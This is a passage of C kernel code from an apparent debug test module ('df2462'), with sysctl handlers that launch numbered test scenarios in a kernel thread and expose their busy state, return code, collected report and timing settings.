dfh_scenario_busy = 0; wakeup("dfhrundone"); kthread_exit(); } static int dfh_sysctl_run(SYSCTL_HANDLER_ARGS) { int v = 0, error; error = sysctl_handle_int(oidp, &v, 0, req); kprintf("DF2462DBG run: v=%d error=%d newptr=%p busy=%d trunner=%p\n", v, error, req->newptr ? req->newptr : 0, dfh_scenario_busy, dfh_trunner); if (error != 0 || req->newptr == NULL) return error; if (dfh_scenario_busy) { dfh_outp("DF2462[run] busy: scenario still running\n"); return EBUSY; } if (dfh_trunner != NULL) { /* reap a finished previous runner (interactive S6/S7) */ if (dfh_scenario_done) { dfh_scenario_done = 0; dfh_trunner = NULL; } else { return EBUSY; } } dfh_scenario_done = 0; dfh_scenario_busy = 1; kprintf("DF2462DBG run: starting scenario %d\n", v); kthread_create(dfh_runner_thread, (void *)(intptr_t)v, &dfh_trunner, "dfhrun"); return 0; } static int dfh_sysctl_busy(SYSCTL_HANDLER_ARGS) { int v = dfh_scenario_busy; return sysctl_handle_int(oidp, &v, 0, req); } static int dfh_sysctl_rc(SYSCTL_HANDLER_ARGS) { int v = dfh_scenario_rc; return sysctl_handle_int(oidp, &v, 0, req); } static int dfh_sysctl_out(SYSCTL_HANDLER_ARGS) { return SYSCTL_OUT(req, dfh_out, dfh_out_len); } static int dfh_sysctl_s6done(SYSCTL_HANDLER_ARGS) { int v = 0, error; error = sysctl_handle_int(oidp, &v, 0, req); kprintf("DF2462DBG s6done: v=%d newptr=%p\n", v, req->newptr ? req->newptr : 0); if (error != 0 || req->newptr == NULL) return error; if (v) dfh_gate_set(&dfh_s6done, 1); return 0; } static int dfh_sysctl_s7ms(SYSCTL_HANDLER_ARGS) { int v = dfh_s7_ms, error; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return error; dfh_s7_ms = v; return 0; } SYSCTL_PROC(_debug_df2462, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfh_sysctl_run, "I", "run scenario"); SYSCTL_PROC(_debug_df2462, OID_AUTO, busy, CTLTYPE_INT | CTLFLAG_RD, 0, 0, dfh_sysctl_busy, "I", "scenario running"); SYSCTL_PROC(_debug_df2462, OID_AUTO, rc, CTLTYPE_INT | CTLFLAG_RD, 0, 0, dfh_sysctl_rc, "I", "last scenario return code"); SYSCTL_PROC(_debug_df2462, OID_AUTO, out, CTLTYPE_STRING | CTLFLAG_RD, 0, 0, dfh_sysctl_out, "A", "collected report"); SYSCTL_PROC(_debug_df2462, OID_AUTO, s6done, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfh_sysctl_s6done, "I", "S6 userland reads done"); SYSCTL_PROC(_debug_df2462, OID_AUTO, s7ms, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfh_sysctl_s7ms, "I", "S7 duration (ms)"); |